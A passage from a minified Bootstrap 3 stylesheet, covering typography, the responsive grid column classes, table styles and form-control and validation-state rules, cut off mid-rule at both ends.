100%; height: auto; } .img-rounded { border-radius: 6px; } .img-thumbnail { display: inline-block; max-width: 100%; height: auto; padding: 4px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all .2s ease-in-out; -o-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } .img-circle { border-radius: 50%; } hr { margin-top: 20px; margin-bottom: 20px; border: 0; border-top: 1px solid #eee; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } [role="button"] { cursor: pointer; } h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { font-family: inherit; font-weight: 500; line-height: 1.1; color: inherit; } h1 small, h2 small, h3 small, h4 small, h5 small, h6 small, .h1 small, .h2 small, .h3 small, .h4 small, .h5 small, .h6 small, h1 .small, h2 .small, h3 .small, h4 .small, h5 .small, h6 .small, .h1 .small, .h2 .small, .h3 .small, .h4 .small, .h5 .small, .h6 .small { font-weight: normal; line-height: 1; color: #777; } h1, .h1, h2, .h2, h3, .h3 { margin-top: 20px; margin-bottom: 10px; } h1 small, .h1 small, h2 small, .h2 small, h3 small, .h3 small, h1 .small, .h1 .small, h2 .small, .h2 .small, h3 .small, .h3 .small { font-size: 65%; } h4, .h4, h5, .h5, h6, .h6 { margin-top: 10px; margin-bottom: 10px; } h4 small, .h4 small, h5 small, .h5 small, h6 small, .h6 small, h4 .small, .h4 .small, h5 .small, .h5 .small, h6 .small, .h6 .small { font-size: 75%; } h1, .h1 { font-size: 36px; } h2, .h2 { font-size: 30px; } h3, .h3 { font-size: 24px; } h4, .h4 { font-size: 18px; } h5, .h5 { font-size: 14px; } h6, .h6 { font-size: 12px; } p { margin: 0 0 10px; } .lead { margin-bottom: 20px; font-size: 16px; font-weight: 300; line-height: 1.4; } @media (min-width: 768px) { .lead { font-size: 21px; } } small, .small { font-size: 85%; } mark, .mark { padding: .2em; background-color: #fcf8e3; } .text-left { text-align: left; } .text-right { text-align: right; } .text-center { text-align: center; } .text-justify { text-align: justify; } .text-nowrap { white-space: nowrap; } .text-lowercase { text-transform: lowercase; } .text-uppercase { text-transform: uppercase; } .text-capitalize { text-transform: capitalize; } .text-muted { color: #777; } .text-primary { color: #337ab7; } a.text-primary:hover { color: #286090; } .text-success { color: #3c763d; } a.text-success:hover { color: #2b542c; } .text-info { color: #31708f; } a.text-info:hover { color: #245269; } .text-warning { color: #8a6d3b; } a.text-warning:hover { color: #66512c; } .text-danger { color: #a94442; } a.text-danger:hover { color: #843534; } .bg-primary { color: #fff; background-color: #337ab7; } a.bg-primary:hover { background-color: #286090; } .bg-success { background-color: #dff0d8; } a.bg-success:hover { background-color: #c1e2b3; } .bg-info { background-color: #d9edf7; } a.bg-info:hover { background-color: #afd9ee; } .bg-warning { background-color: #fcf8e3; } a.bg-warning:hover { background-color: #f7ecb5; } .bg-danger { background-color: #f2dede; } a.bg-danger:hover { background-color: #e4b9b9; } .page-header { padding-bottom: 9px; margin: 40px 0 20px; border-bottom: 1px solid #eee; } ul, ol { margin-top: 0; margin-bottom: 10px; } ul ul, ol ul, ul ol, ol ol { margin-bottom: 0; } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; margin-left: -5px; list-style: none; } .list-inline > li { display: inline-block; padding-right: 5px; padding-left: 5px; } dl { margin-top: 0; margin-bottom: 20px; } dt, dd { line-height: 1.42857143; } dt { font-weight: bold; } dd { margin-left: 0; } @media (min-width: 768px) { .dl-horizontal dt { float: left; width: 160px; overflow: hidden; clear: left; text-align: right; text-overflow: ellipsis; white-space: nowrap; } .dl-horizontal dd { margin-left: 180px; } } abbr[title], abbr[data-original-title] { cursor: help; border-bottom: 1px dotted #777; } .initialism { font-size: 90%; text-transform: uppercase; } blockquote { padding: 10px 20px; margin: 0 0 20px; font-size: 17.5px; border-left: 5px solid #eee; } blockquote p:last-child, blockquote ul:last-child, blockquote ol:last-child { margin-bottom: 0; } blockquote footer, blockquote small, blockquote .small { display: block; font-size: 80%; line-height: 1.42857143; color: #777; } blockquote footer:before, blockquote small:before, blockquote .small:before { content: '\2014 \00A0'; } .blockquote-reverse, blockquote.pull-right { padding-right: 15px; padding-left: 0; text-align: right; border-right: 5px solid #eee; border-left: 0; } .blockquote-reverse footer:before, blockquote.pull-right footer:before, .blockquote-reverse small:before, blockquote.pull-right small:before, .blockquote-reverse .small:before, blockquote.pull-right .small:before { content: ''; } .blockquote-reverse footer:after, blockquote.pull-right footer:after, .blockquote-reverse small:after, blockquote.pull-right small:after, .blockquote-reverse .small:after, blockquote.pull-right .small:after { content: '\00A0 \2014'; } address { margin-bottom: 20px; font-style: normal; line-height: 1.42857143; } code, kbd, pre, samp { font-family: Menlo, Monaco, Consolas, "Courier New", monospace; } code { padding: 2px 4px; font-size: 90%; color: #c7254e; background-color: #f9f2f4; border-radius: 4px; } kbd { padding: 2px 4px; font-size: 90%; color: #fff; background-color: #333; border-radius: 3px; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); } kbd kbd { padding: 0; font-size: 100%; font-weight: bold; -webkit-box-shadow: none; box-shadow: none; } pre { display: block; padding: 9.5px; margin: 0 0 10px; font-size: 13px; line-height: 1.42857143; color: #333; word-break: break-all; word-wrap: break-word; background-color: #f5f5f5; border: 1px solid #ccc; border-radius: 4px; } pre code { padding: 0; font-size: inherit; color: inherit; white-space: pre-wrap; background-color: transparent; border-radius: 0; } .pre-scrollable { max-height: 340px; overflow-y: scroll; } .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } @media (min-width: 768px) { .container { width: 750px; } } @media (min-width: 992px) { .container { width: 970px; } } @media (min-width: 1200px) { .container { width: 1170px; } } .container-fluid { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .row { margin-right: -15px; margin-left: -15px; } .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { float: left; } .col-xs-12 { width: 100%; } .col-xs-11 { width: 91.66666667%; } .col-xs-10 { width: 83.33333333%; } .col-xs-9 { width: 75%; } .col-xs-8 { width: 66.66666667%; } .col-xs-7 { width: 58.33333333%; } .col-xs-6 { width: 50%; } .col-xs-5 { width: 41.66666667%; } .col-xs-4 { width: 33.33333333%; } .col-xs-3 { width: 25%; } .col-xs-2 { width: 16.66666667%; } .col-xs-1 { width: 8.33333333%; } .col-xs-pull-12 { right: 100%; } .col-xs-pull-11 { right: 91.66666667%; } .col-xs-pull-10 { right: 83.33333333%; } .col-xs-pull-9 { right: 75%; } .col-xs-pull-8 { right: 66.66666667%; } .col-xs-pull-7 { right: 58.33333333%; } .col-xs-pull-6 { right: 50%; } .col-xs-pull-5 { right: 41.66666667%; } .col-xs-pull-4 { right: 33.33333333%; } .col-xs-pull-3 { right: 25%; } .col-xs-pull-2 { right: 16.66666667%; } .col-xs-pull-1 { right: 8.33333333%; } .col-xs-pull-0 { right: auto; } .col-xs-push-12 { left: 100%; } .col-xs-push-11 { left: 91.66666667%; } .col-xs-push-10 { left: 83.33333333%; } .col-xs-push-9 { left: 75%; } .col-xs-push-8 { left: 66.66666667%; } .col-xs-push-7 { left: 58.33333333%; } .col-xs-push-6 { left: 50%; } .col-xs-push-5 { left: 41.66666667%; } .col-xs-push-4 { left: 33.33333333%; } .col-xs-push-3 { left: 25%; } .col-xs-push-2 { left: 16.66666667%; } .col-xs-push-1 { left: 8.33333333%; } .col-xs-push-0 { left: auto; } .col-xs-offset-12 { margin-left: 100%; } .col-xs-offset-11 { margin-left: 91.66666667%; } .col-xs-offset-10 { margin-left: 83.33333333%; } .col-xs-offset-9 { margin-left: 75%; } .col-xs-offset-8 { margin-left: 66.66666667%; } .col-xs-offset-7 { margin-left: 58.33333333%; } .col-xs-offset-6 { margin-left: 50%; } .col-xs-offset-5 { margin-left: 41.66666667%; } .col-xs-offset-4 { margin-left: 33.33333333%; } .col-xs-offset-3 { margin-left: 25%; } .col-xs-offset-2 { margin-left: 16.66666667%; } .col-xs-offset-1 { margin-left: 8.33333333%; } .col-xs-offset-0 { margin-left: 0; } @media (min-width: 768px) { .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { float: left; } .col-sm-12 { width: 100%; } .col-sm-11 { width: 91.66666667%; } .col-sm-10 { width: 83.33333333%; } .col-sm-9 { width: 75%; } .col-sm-8 { width: 66.66666667%; } .col-sm-7 { width: 58.33333333%; } .col-sm-6 { width: 50%; } .col-sm-5 { width: 41.66666667%; } .col-sm-4 { width: 33.33333333%; } .col-sm-3 { width: 25%; } .col-sm-2 { width: 16.66666667%; } .col-sm-1 { width: 8.33333333%; } .col-sm-pull-12 { right: 100%; } .col-sm-pull-11 { right: 91.66666667%; } .col-sm-pull-10 { right: 83.33333333%; } .col-sm-pull-9 { right: 75%; } .col-sm-pull-8 { right: 66.66666667%; } .col-sm-pull-7 { right: 58.33333333%; } .col-sm-pull-6 { right: 50%; } .col-sm-pull-5 { right: 41.66666667%; } .col-sm-pull-4 { right: 33.33333333%; } .col-sm-pull-3 { right: 25%; } .col-sm-pull-2 { right: 16.66666667%; } .col-sm-pull-1 { right: 8.33333333%; } .col-sm-pull-0 { right: auto; } .col-sm-push-12 { left: 100%; } .col-sm-push-11 { left: 91.66666667%; } .col-sm-push-10 { left: 83.33333333%; } .col-sm-push-9 { left: 75%; } .col-sm-push-8 { left: 66.66666667%; } .col-sm-push-7 { left: 58.33333333%; } .col-sm-push-6 { left: 50%; } .col-sm-push-5 { left: 41.66666667%; } .col-sm-push-4 { left: 33.33333333%; } .col-sm-push-3 { left: 25%; } .col-sm-push-2 { left: 16.66666667%; } .col-sm-push-1 { left: 8.33333333%; } .col-sm-push-0 { left: auto; } .col-sm-offset-12 { margin-left: 100%; } .col-sm-offset-11 { margin-left: 91.66666667%; } .col-sm-offset-10 { margin-left: 83.33333333%; } .col-sm-offset-9 { margin-left: 75%; } .col-sm-offset-8 { margin-left: 66.66666667%; } .col-sm-offset-7 { margin-left: 58.33333333%; } .col-sm-offset-6 { margin-left: 50%; } .col-sm-offset-5 { margin-left: 41.66666667%; } .col-sm-offset-4 { margin-left: 33.33333333%; } .col-sm-offset-3 { margin-left: 25%; } .col-sm-offset-2 { margin-left: 16.66666667%; } .col-sm-offset-1 { margin-left: 8.33333333%; } .col-sm-offset-0 { margin-left: 0; } } @media (min-width: 992px) { .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { float: left; } .col-md-12 { width: 100%; } .col-md-11 { width: 91.66666667%; } .col-md-10 { width: 83.33333333%; } .col-md-9 { width: 75%; } .col-md-8 { width: 66.66666667%; } .col-md-7 { width: 58.33333333%; } .col-md-6 { width: 50%; } .col-md-5 { width: 41.66666667%; } .col-md-4 { width: 33.33333333%; } .col-md-3 { width: 25%; } .col-md-2 { width: 16.66666667%; } .col-md-1 { width: 8.33333333%; } .col-md-pull-12 { right: 100%; } .col-md-pull-11 { right: 91.66666667%; } .col-md-pull-10 { right: 83.33333333%; } .col-md-pull-9 { right: 75%; } .col-md-pull-8 { right: 66.66666667%; } .col-md-pull-7 { right: 58.33333333%; } .col-md-pull-6 { right: 50%; } .col-md-pull-5 { right: 41.66666667%; } .col-md-pull-4 { right: 33.33333333%; } .col-md-pull-3 { right: 25%; } .col-md-pull-2 { right: 16.66666667%; } .col-md-pull-1 { right: 8.33333333%; } .col-md-pull-0 { right: auto; } .col-md-push-12 { left: 100%; } .col-md-push-11 { left: 91.66666667%; } .col-md-push-10 { left: 83.33333333%; } .col-md-push-9 { left: 75%; } .col-md-push-8 { left: 66.66666667%; } .col-md-push-7 { left: 58.33333333%; } .col-md-push-6 { left: 50%; } .col-md-push-5 { left: 41.66666667%; } .col-md-push-4 { left: 33.33333333%; } .col-md-push-3 { left: 25%; } .col-md-push-2 { left: 16.66666667%; } .col-md-push-1 { left: 8.33333333%; } .col-md-push-0 { left: auto; } .col-md-offset-12 { margin-left: 100%; } .col-md-offset-11 { margin-left: 91.66666667%; } .col-md-offset-10 { margin-left: 83.33333333%; } .col-md-offset-9 { margin-left: 75%; } .col-md-offset-8 { margin-left: 66.66666667%; } .col-md-offset-7 { margin-left: 58.33333333%; } .col-md-offset-6 { margin-left: 50%; } .col-md-offset-5 { margin-left: 41.66666667%; } .col-md-offset-4 { margin-left: 33.33333333%; } .col-md-offset-3 { margin-left: 25%; } .col-md-offset-2 { margin-left: 16.66666667%; } .col-md-offset-1 { margin-left: 8.33333333%; } .col-md-offset-0 { margin-left: 0; } } @media (min-width: 1200px) { .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { float: left; } .col-lg-12 { width: 100%; } .col-lg-11 { width: 91.66666667%; } .col-lg-10 { width: 83.33333333%; } .col-lg-9 { width: 75%; } .col-lg-8 { width: 66.66666667%; } .col-lg-7 { width: 58.33333333%; } .col-lg-6 { width: 50%; } .col-lg-5 { width: 41.66666667%; } .col-lg-4 { width: 33.33333333%; } .col-lg-3 { width: 25%; } .col-lg-2 { width: 16.66666667%; } .col-lg-1 { width: 8.33333333%; } .col-lg-pull-12 { right: 100%; } .col-lg-pull-11 { right: 91.66666667%; } .col-lg-pull-10 { right: 83.33333333%; } .col-lg-pull-9 { right: 75%; } .col-lg-pull-8 { right: 66.66666667%; } .col-lg-pull-7 { right: 58.33333333%; } .col-lg-pull-6 { right: 50%; } .col-lg-pull-5 { right: 41.66666667%; } .col-lg-pull-4 { right: 33.33333333%; } .col-lg-pull-3 { right: 25%; } .col-lg-pull-2 { right: 16.66666667%; } .col-lg-pull-1 { right: 8.33333333%; } .col-lg-pull-0 { right: auto; } .col-lg-push-12 { left: 100%; } .col-lg-push-11 { left: 91.66666667%; } .col-lg-push-10 { left: 83.33333333%; } .col-lg-push-9 { left: 75%; } .col-lg-push-8 { left: 66.66666667%; } .col-lg-push-7 { left: 58.33333333%; } .col-lg-push-6 { left: 50%; } .col-lg-push-5 { left: 41.66666667%; } .col-lg-push-4 { left: 33.33333333%; } .col-lg-push-3 { left: 25%; } .col-lg-push-2 { left: 16.66666667%; } .col-lg-push-1 { left: 8.33333333%; } .col-lg-push-0 { left: auto; } .col-lg-offset-12 { margin-left: 100%; } .col-lg-offset-11 { margin-left: 91.66666667%; } .col-lg-offset-10 { margin-left: 83.33333333%; } .col-lg-offset-9 { margin-left: 75%; } .col-lg-offset-8 { margin-left: 66.66666667%; } .col-lg-offset-7 { margin-left: 58.33333333%; } .col-lg-offset-6 { margin-left: 50%; } .col-lg-offset-5 { margin-left: 41.66666667%; } .col-lg-offset-4 { margin-left: 33.33333333%; } .col-lg-offset-3 { margin-left: 25%; } .col-lg-offset-2 { margin-left: 16.66666667%; } .col-lg-offset-1 { margin-left: 8.33333333%; } .col-lg-offset-0 { margin-left: 0; } } table { background-color: transparent; } caption { padding-top: 8px; padding-bottom: 8px; color: #777; text-align: left; } th { text-align: left; } .table { width: 100%; max-width: 100%; margin-bottom: 20px; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { padding: 8px; line-height: 1.42857143; vertical-align: top; border-top: 1px solid #ddd; } .table > thead > tr > th { vertical-align: bottom; border-bottom: 2px solid #ddd; } .table > caption + thead > tr:first-child > th, .table > colgroup + thead > tr:first-child > th, .table > thead:first-child > tr:first-child > th, .table > caption + thead > tr:first-child > td, .table > colgroup + thead > tr:first-child > td, .table > thead:first-child > tr:first-child > td { border-top: 0; } .table > tbody + tbody { border-top: 2px solid #ddd; } .table .table { background-color: #fff; } .table-condensed > thead > tr > th, .table-condensed > tbody > tr > th, .table-condensed > tfoot > tr > th, .table-condensed > thead > tr > td, .table-condensed > tbody > tr > td, .table-condensed > tfoot > tr > td { padding: 5px; } .table-bordered { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > tbody > tr > th, .table-bordered > tfoot > tr > th, .table-bordered > thead > tr > td, .table-bordered > tbody > tr > td, .table-bordered > tfoot > tr > td { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > thead > tr > td { border-bottom-width: 2px; } .table-striped > tbody > tr:nth-of-type(odd) { background-color: #f9f9f9; } .table-hover > tbody > tr:hover { background-color: #f5f5f5; } table col[class*="col-"] { position: static; display: table-column; float: none; } table td[class*="col-"], table th[class*="col-"] { position: static; display: table-cell; float: none; } .table > thead > tr > td.active, .table > tbody > tr > td.active, .table > tfoot > tr > td.active, .table > thead > tr > th.active, .table > tbody > tr > th.active, .table > tfoot > tr > th.active, .table > thead > tr.active > td, .table > tbody > tr.active > td, .table > tfoot > tr.active > td, .table > thead > tr.active > th, .table > tbody > tr.active > th, .table > tfoot > tr.active > th { background-color: #f5f5f5; } .table-hover > tbody > tr > td.active:hover, .table-hover > tbody > tr > th.active:hover, .table-hover > tbody > tr.active:hover > td, .table-hover > tbody > tr:hover > .active, .table-hover > tbody > tr.active:hover > th { background-color: #e8e8e8; } .table > thead > tr > td.success, .table > tbody > tr > td.success, .table > tfoot > tr > td.success, .table > thead > tr > th.success, .table > tbody > tr > th.success, .table > tfoot > tr > th.success, .table > thead > tr.success > td, .table > tbody > tr.success > td, .table > tfoot > tr.success > td, .table > thead > tr.success > th, .table > tbody > tr.success > th, .table > tfoot > tr.success > th { background-color: #dff0d8; } .table-hover > tbody > tr > td.success:hover, .table-hover > tbody > tr > th.success:hover, .table-hover > tbody > tr.success:hover > td, .table-hover > tbody > tr:hover > .success, .table-hover > tbody > tr.success:hover > th { background-color: #d0e9c6; } .table > thead > tr > td.info, .table > tbody > tr > td.info, .table > tfoot > tr > td.info, .table > thead > tr > th.info, .table > tbody > tr > th.info, .table > tfoot > tr > th.info, .table > thead > tr.info > td, .table > tbody > tr.info > td, .table > tfoot > tr.info > td, .table > thead > tr.info > th, .table > tbody > tr.info > th, .table > tfoot > tr.info > th { background-color: #d9edf7; } .table-hover > tbody > tr > td.info:hover, .table-hover > tbody > tr > th.info:hover, .table-hover > tbody > tr.info:hover > td, .table-hover > tbody > tr:hover > .info, .table-hover > tbody > tr.info:hover > th { background-color: #c4e3f3; } .table > thead > tr > td.warning, .table > tbody > tr > td.warning, .table > tfoot > tr > td.warning, .table > thead > tr > th.warning, .table > tbody > tr > th.warning, .table > tfoot > tr > th.warning, .table > thead > tr.warning > td, .table > tbody > tr.warning > td, .table > tfoot > tr.warning > td, .table > thead > tr.warning > th, .table > tbody > tr.warning > th, .table > tfoot > tr.warning > th { background-color: #fcf8e3; } .table-hover > tbody > tr > td.warning:hover, .table-hover > tbody > tr > th.warning:hover, .table-hover > tbody > tr.warning:hover > td, .table-hover > tbody > tr:hover > .warning, .table-hover > tbody > tr.warning:hover > th { background-color: #faf2cc; } .table > thead > tr > td.danger, .table > tbody > tr > td.danger, .table > tfoot > tr > td.danger, .table > thead > tr > th.danger, .table > tbody > tr > th.danger, .table > tfoot > tr > th.danger, .table > thead > tr.danger > td, .table > tbody > tr.danger > td, .table > tfoot > tr.danger > td, .table > thead > tr.danger > th, .table > tbody > tr.danger > th, .table > tfoot > tr.danger > th { background-color: #f2dede; } .table-hover > tbody > tr > td.danger:hover, .table-hover > tbody > tr > th.danger:hover, .table-hover > tbody > tr.danger:hover > td, .table-hover > tbody > tr:hover > .danger, .table-hover > tbody > tr.danger:hover > th { background-color: #ebcccc; } .table-responsive { min-height: .01%; overflow-x: auto; } @media screen and (max-width: 767px) { .table-responsive { width: 100%; margin-bottom: 15px; overflow-y: hidden; -ms-overflow-style: -ms-autohiding-scrollbar; border: 1px solid #ddd; } .table-responsive > .table { margin-bottom: 0; } .table-responsive > .table > thead > tr > th, .table-responsive > .table > tbody > tr > th, .table-responsive > .table > tfoot > tr > th, .table-responsive > .table > thead > tr > td, .table-responsive > .table > tbody > tr > td, .table-responsive > .table > tfoot > tr > td { white-space: nowrap; } .table-responsive > .table-bordered { border: 0; } .table-responsive > .table-bordered > thead > tr > th:first-child, .table-responsive > .table-bordered > tbody > tr > th:first-child, .table-responsive > .table-bordered > tfoot > tr > th:first-child, .table-responsive > .table-bordered > thead > tr > td:first-child, .table-responsive > .table-bordered > tbody > tr > td:first-child, .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .table-responsive > .table-bordered > thead > tr > th:last-child, .table-responsive > .table-bordered > tbody > tr > th:last-child, .table-responsive > .table-bordered > tfoot > tr > th:last-child, .table-responsive > .table-bordered > thead > tr > td:last-child, .table-responsive > .table-bordered > tbody > tr > td:last-child, .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .table-responsive > .table-bordered > tbody > tr:last-child > th, .table-responsive > .table-bordered > tfoot > tr:last-child > th, .table-responsive > .table-bordered > tbody > tr:last-child > td, .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { display: block; width: 100%; padding: 0; margin-bottom: 20px; font-size: 21px; line-height: inherit; color: #333; border: 0; border-bottom: 1px solid #e5e5e5; } label { display: inline-block; max-width: 100%; margin-bottom: 5px; font-weight: bold; } input[type="search"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } input[type="radio"], input[type="checkbox"] { margin: 4px 0 0; margin-top: 1px \9; line-height: normal; } input[type="file"] { display: block; } input[type="range"] { display: block; width: 100%; } select[multiple], select[size] { height: auto; } input[type="file"]:focus, input[type="radio"]:focus, input[type="checkbox"]:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } output { display: block; padding-top: 7px; font-size: 14px; line-height: 1.42857143; color: #555; } .form-control { display: block; width: 100%; height: 34px; padding: 6px 12px; font-size: 14px; line-height: 1.42857143; color: #555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; } .form-control:focus { border-color: #66afe9; outline: 0; -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); } .form-control::-moz-placeholder { color: #999; opacity: 1; } .form-control:-ms-input-placeholder { color: #999; } .form-control::-webkit-input-placeholder { color: #999; } .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { background-color: #eee; opacity: 1; } .form-control[disabled], fieldset[disabled] .form-control { cursor: not-allowed; } textarea.form-control { height: auto; } input[type="search"] { -webkit-appearance: none; } @media screen and (-webkit-min-device-pixel-ratio: 0) { input[type="date"], input[type="time"], input[type="datetime-local"], input[type="month"] { line-height: 34px; } input[type="date"].input-sm, input[type="time"].input-sm, input[type="datetime-local"].input-sm, input[type="month"].input-sm, .input-group-sm input[type="date"], .input-group-sm input[type="time"], .input-group-sm input[type="datetime-local"], .input-group-sm input[type="month"] { line-height: 30px; } input[type="date"].input-lg, input[type="time"].input-lg, input[type="datetime-local"].input-lg, input[type="month"].input-lg, .input-group-lg input[type="date"], .input-group-lg input[type="time"], .input-group-lg input[type="datetime-local"], .input-group-lg input[type="month"] { line-height: 46px; } } .form-group { margin-bottom: 15px; } .radio, .checkbox { position: relative; display: block; margin-top: 10px; margin-bottom: 10px; } .radio label, .checkbox label { min-height: 20px; padding-left: 20px; margin-bottom: 0; font-weight: normal; cursor: pointer; } .radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] { position: absolute; margin-top: 4px \9; margin-left: -20px; } .radio + .radio, .checkbox + .checkbox { margin-top: -5px; } .radio-inline, .checkbox-inline { position: relative; display: inline-block; padding-left: 20px; margin-bottom: 0; font-weight: normal; vertical-align: middle; cursor: pointer; } .radio-inline + .radio-inline, .checkbox-inline + .checkbox-inline { margin-top: 0; margin-left: 10px; } input[type="radio"][disabled], input[type="checkbox"][disabled], input[type="radio"].disabled, input[type="checkbox"].disabled, fieldset[disabled] input[type="radio"], fieldset[disabled] input[type="checkbox"] { cursor: not-allowed; } .radio-inline.disabled, .checkbox-inline.disabled, fieldset[disabled] .radio-inline, fieldset[disabled] .checkbox-inline { cursor: not-allowed; } .radio.disabled label, .checkbox.disabled label, fieldset[disabled] .radio label, fieldset[disabled] .checkbox label { cursor: not-allowed; } .form-control-static { min-height: 34px; padding-top: 7px; padding-bottom: 7px; margin-bottom: 0; } .form-control-static.input-lg, .form-control-static.input-sm { padding-right: 0; padding-left: 0; } .input-sm { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-sm { height: 30px; line-height: 30px; } textarea.input-sm, select[multiple].input-sm { height: auto; } .form-group-sm .form-control { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.form-group-sm .form-control { height: 30px; line-height: 30px; } textarea.form-group-sm .form-control, select[multiple].form-group-sm .form-control { height: auto; } .form-group-sm .form-control-static { height: 30px; min-height: 32px; padding: 5px 10px; font-size: 12px; line-height: 1.5; } .input-lg { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-lg { height: 46px; line-height: 46px; } textarea.input-lg, select[multiple].input-lg { height: auto; } .form-group-lg .form-control { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.form-group-lg .form-control { height: 46px; line-height: 46px; } textarea.form-group-lg .form-control, select[multiple].form-group-lg .form-control { height: auto; } .form-group-lg .form-control-static { height: 46px; min-height: 38px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; } .has-feedback { position: relative; } .has-feedback .form-control { padding-right: 42.5px; } .form-control-feedback { position: absolute; top: 0; right: 0; z-index: 2; display: block; width: 34px; height: 34px; line-height: 34px; text-align: center; pointer-events: none; } .input-lg + .form-control-feedback { width: 46px; height: 46px; line-height: 46px; } .input-sm + .form-control-feedback { width: 30px; height: 30px; line-height: 30px; } .has-success .help-block, .has-success .control-label, .has-success .radio, .has-success .checkbox, .has-success .radio-inline, .has-success .checkbox-inline, .has-success.radio label, .has-success.checkbox label, .has-success.radio-inline label, .has-success.checkbox-inline label { color: #3c763d; } .has-success .form-control { border-color: #3c763d; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-success .form-control:focus { border-color: #2b542c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; } .has-success .input-group-addon { color: #3c763d; background-color: #dff0d8; border-color: #3c763d; } .has-success .form-control-feedback { color: #3c763d; } .has-warning .help-block, .has-warning .control-label, .has-warning .radio, .has-warning .checkbox, .has-warning .radio-inline, .has-warning .checkbox-inline, .has-warning.radio label, .has-warning.checkbox label, .has-warning.radio-inline label, .has-warning.checkbox-inline label { color: #8a6d3b; } .has-warning .form-control { border-color: #8a6d3b; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-warning .form-control:focus { border-color: #66512c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; } .has-warning .input-group-addon { color: #8a6d3b; background-color: #fcf8e3; border-color: #8a6d3b; } .has-warning .form-control-feedback { color: #8a6d3b; } .has-error .help-block, .has-error .control-label, .has-error .radio, .has-error .checkbox, .has-error .radio-inline, .has-error .checkbox-inline, .has-error.radio label, .has-error.checkbox label, .has-error.radio-inline label, .has-error.checkbox-inline label { color: #a94442; } .has-error .form-control { border-color: #a94442; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-error .form-control:focus { border-color: #843534; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; box-shadow: inset 0 1px 1px 